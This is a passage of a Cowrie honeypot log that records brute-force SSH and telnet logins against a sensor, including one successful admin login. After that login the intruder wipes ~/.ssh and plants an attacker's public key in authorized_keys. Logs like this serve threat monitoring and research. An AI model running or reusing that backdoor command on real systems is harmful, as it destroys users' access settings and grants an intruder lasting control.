"sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:55:51.787089Z","src_ip":"191.101.59.69","session":"522458660db1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.56.205","src_port":54584,"dst_ip":"159.203.135.109","dst_port":22,"session":"3f0e7cac7aa5","protocol":"ssh","message":"New connection: 198.98.56.205:54584 (159.203.135.109:22) [session: 3f0e7cac7aa5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:55:54.135876Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:55:54.140639Z","src_ip":"198.98.56.205","session":"3f0e7cac7aa5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:55:54.145599Z","src_ip":"198.98.56.205","session":"3f0e7cac7aa5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teamspeak-server","password":"teamspeak-server","message":"login attempt [teamspeak-server/teamspeak-server] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:55:54.204317Z","src_ip":"198.98.56.205","session":"3f0e7cac7aa5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":50352,"dst_ip":"159.203.135.109","dst_port":23,"session":"2b5007560af3","protocol":"telnet","message":"New connection: 38.60.198.128:50352 (159.203.135.109:23) [session: 2b5007560af3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:55:54.732289Z"}
{"eventid":"cowrie.login.failed","username":"ali","password":"asdf","message":"login attempt [ali/asdf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:55:54.804549Z","src_ip":"191.101.59.69","session":"522458660db1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:55:55.211529Z","src_ip":"198.98.56.205","session":"3f0e7cac7aa5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":52902,"dst_ip":"159.203.135.109","dst_port":23,"session":"719709682d5d","protocol":"telnet","message":"New connection: 38.60.198.128:52902 (159.203.135.109:23) [session: 719709682d5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:55:55.247829Z"}
{"eventid":"cowrie.session.closed","duration":"4.9","message":"Connection lost after 4.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:55:55.911813Z","src_ip":"191.101.59.69","session":"522458660db1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":54674,"dst_ip":"159.203.135.109","dst_port":23,"session":"0b85263b9112","protocol":"telnet","message":"New connection: 38.60.198.128:54674 (159.203.135.109:23) [session: 0b85263b9112]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:55:57.050049Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":42806,"dst_ip":"10.17.0.5","dst_port":23,"session":"ffeccf8d767f","protocol":"telnet","message":"New connection: 38.54.119.93:42806 (10.17.0.5:23) [session: ffeccf8d767f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:55:58.951483Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":57406,"dst_ip":"159.203.135.109","dst_port":23,"session":"08824e183a8a","protocol":"telnet","message":"New connection: 38.60.198.128:57406 (159.203.135.109:23) [session: 08824e183a8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:55:59.721273Z"}
{"eventid":"cowrie.session.closed","duration":36.96746826171875,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:00.220657Z","src_ip":"38.60.198.128","session":"8c5f9f7fbae7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.29430556297302,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:01.773201Z","src_ip":"38.60.198.128","session":"3a40ef199bda","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.31744313240051,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:01.938163Z","src_ip":"38.60.198.128","session":"617eb398bad5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":60078,"dst_ip":"159.203.135.109","dst_port":23,"session":"a7ebfb956eb2","protocol":"telnet","message":"New connection: 38.60.198.128:60078 (159.203.135.109:23) [session: a7ebfb956eb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:03.200037Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":33448,"dst_ip":"159.203.135.109","dst_port":23,"session":"92582205fb01","protocol":"telnet","message":"New connection: 38.60.198.128:33448 (159.203.135.109:23) [session: 92582205fb01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:03.684290Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":36028,"dst_ip":"159.203.135.109","dst_port":23,"session":"8eb08d3d140e","protocol":"telnet","message":"New connection: 38.60.198.128:36028 (159.203.135.109:23) [session: 8eb08d3d140e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:06.257448Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":38560,"dst_ip":"159.203.135.109","dst_port":23,"session":"69d0c9bc35b4","protocol":"telnet","message":"New connection: 38.60.198.128:38560 (159.203.135.109:23) [session: 69d0c9bc35b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:08.584406Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":42190,"dst_ip":"159.203.135.109","dst_port":23,"session":"f7467c1d2305","protocol":"telnet","message":"New connection: 38.60.198.128:42190 (159.203.135.109:23) [session: f7467c1d2305]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:11.674155Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":43454,"dst_ip":"159.203.135.109","dst_port":23,"session":"34518318950f","protocol":"telnet","message":"New connection: 38.60.198.128:43454 (159.203.135.109:23) [session: 34518318950f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:12.736131Z"}
{"eventid":"cowrie.session.closed","duration":45.38819646835327,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:14.573830Z","src_ip":"38.60.198.128","session":"5e10b8ac7052","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.252896547317505,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:15.927207Z","src_ip":"192.211.53.160","session":"c31adb9637d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":39930,"dst_ip":"159.203.135.109","dst_port":23,"session":"1c87d20d8aa3","protocol":"telnet","message":"New connection: 38.60.198.128:39930 (159.203.135.109:23) [session: 1c87d20d8aa3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:15.932567Z"}
{"eventid":"cowrie.session.closed","duration":56.38057732582092,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:16.134693Z","src_ip":"38.60.198.128","session":"efbc78361429","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":48662,"dst_ip":"159.203.135.109","dst_port":23,"session":"d2c67ac11b95","protocol":"telnet","message":"New connection: 38.60.198.128:48662 (159.203.135.109:23) [session: d2c67ac11b95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:17.017996Z"}
{"eventid":"cowrie.session.closed","duration":40.41717767715454,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:18.065135Z","src_ip":"192.211.53.160","session":"983be931f00a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":54942,"dst_ip":"10.17.0.5","dst_port":23,"session":"377f0cef2826","protocol":"telnet","message":"New connection: 38.54.119.93:54942 (10.17.0.5:23) [session: 377f0cef2826]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:19.090503Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":37484,"dst_ip":"159.203.135.109","dst_port":23,"session":"a66c79ea04d7","protocol":"telnet","message":"New connection: 192.211.53.160:37484 (159.203.135.109:23) [session: a66c79ea04d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:19.219839Z"}
{"eventid":"cowrie.session.closed","duration":41.2498300075531,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:20.441409Z","src_ip":"38.60.198.128","session":"84a0226fbe0d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":54336,"dst_ip":"159.203.135.109","dst_port":23,"session":"54e264f1e53c","protocol":"telnet","message":"New connection: 38.60.198.128:54336 (159.203.135.109:23) [session: 54e264f1e53c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:21.829113Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":56072,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c2cdb033e16","protocol":"telnet","message":"New connection: 38.60.198.128:56072 (159.203.135.109:23) [session: 4c2cdb033e16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:23.326557Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":57906,"dst_ip":"159.203.135.109","dst_port":23,"session":"0808b60a16b1","protocol":"telnet","message":"New connection: 38.60.198.128:57906 (159.203.135.109:23) [session: 0808b60a16b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:24.803739Z"}
{"eventid":"cowrie.session.closed","duration":7.366278648376465,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:26.456647Z","src_ip":"38.54.119.93","session":"377f0cef2826","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.82724690437317,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:27.214675Z","src_ip":"38.60.198.128","session":"105711b2901d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":60610,"dst_ip":"159.203.135.109","dst_port":23,"session":"46d7aa7f4f9a","protocol":"telnet","message":"New connection: 38.60.198.128:60610 (159.203.135.109:23) [session: 46d7aa7f4f9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:27.279023Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":32870,"dst_ip":"159.203.135.109","dst_port":23,"session":"72cf0bd51378","protocol":"telnet","message":"New connection: 38.60.198.128:32870 (159.203.135.109:23) [session: 72cf0bd51378]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:27.780685Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":38994,"dst_ip":"159.203.135.109","dst_port":23,"session":"a926fcfd3415","protocol":"telnet","message":"New connection: 38.60.198.128:38994 (159.203.135.109:23) [session: a926fcfd3415]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:31.915423Z"}
{"eventid":"cowrie.session.closed","duration":56.285268783569336,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:32.180719Z","src_ip":"45.81.23.16","session":"46365cd78bbd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.00177049636841,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:34.193421Z","src_ip":"38.54.119.93","session":"7b43aa7f9ecb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.2931878566741943,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:34.208468Z","src_ip":"38.60.198.128","session":"a926fcfd3415","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":57.08159780502319,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:35.560903Z","src_ip":"38.54.119.93","session":"17d2b1564ee8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.22913122177124,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:36.476855Z","src_ip":"38.60.198.128","session":"719709682d5d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.95416760444641,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:37.686282Z","src_ip":"38.60.198.128","session":"2b5007560af3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.899078607559204,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:37.949011Z","src_ip":"38.60.198.128","session":"0b85263b9112","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":48944,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f9607afd561","protocol":"telnet","message":"New connection: 38.60.198.128:48944 (159.203.135.109:23) [session: 4f9607afd561]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:39.074286Z"}
{"eventid":"cowrie.session.closed","duration":41.19663166999817,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:40.917814Z","src_ip":"38.60.198.128","session":"08824e183a8a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.82380294799805,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:42.081149Z","src_ip":"38.60.198.128","session":"8eb08d3d140e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.82885766029358,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:42.513057Z","src_ip":"38.60.198.128","session":"92582205fb01","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.59016489982605,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:42.790068Z","src_ip":"38.60.198.128","session":"a7ebfb956eb2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.56.205","src_port":36084,"dst_ip":"159.203.135.109","dst_port":22,"session":"45142831d10a","protocol":"ssh","message":"New connection: 198.98.56.205:36084 (159.203.135.109:22) [session: 45142831d10a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:44.528022Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:44.532908Z","src_ip":"198.98.56.205","session":"45142831d10a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:44.538548Z","src_ip":"198.98.56.205","session":"45142831d10a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin!123","message":"login attempt [admin/admin!123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:44.591105Z","src_ip":"198.98.56.205","session":"45142831d10a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:44.655838Z","src_ip":"198.98.56.205","session":"45142831d10a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:44.659279Z","src_ip":"198.98.56.205","session":"45142831d10a","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:44.662911Z","src_ip":"198.98.56.205","session":"45142831d10a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:44.672094Z","src_ip":"198.98.56.205","session":"45142831d10a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:44.845059Z","src_ip":"198.98.56.205","session":"45142831d10a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:44.848464Z","src_ip":"198.98.56.205","session":"45142831d10a","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:44.859907Z","src_ip":"198.98.56.205","session":"45142831d10a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:44.864095Z","src_ip":"198.98.56.205","session":"45142831d10a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.56.205","src_port":36096,"dst_ip":"159.203.135.109","dst_port":22,"session":"f8e8447e9eb2","protocol":"ssh","message":"New connection: 198.98.56.205:36096 (159.203.135.109:22) [session: f8e8447e9eb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:44.869900Z"}
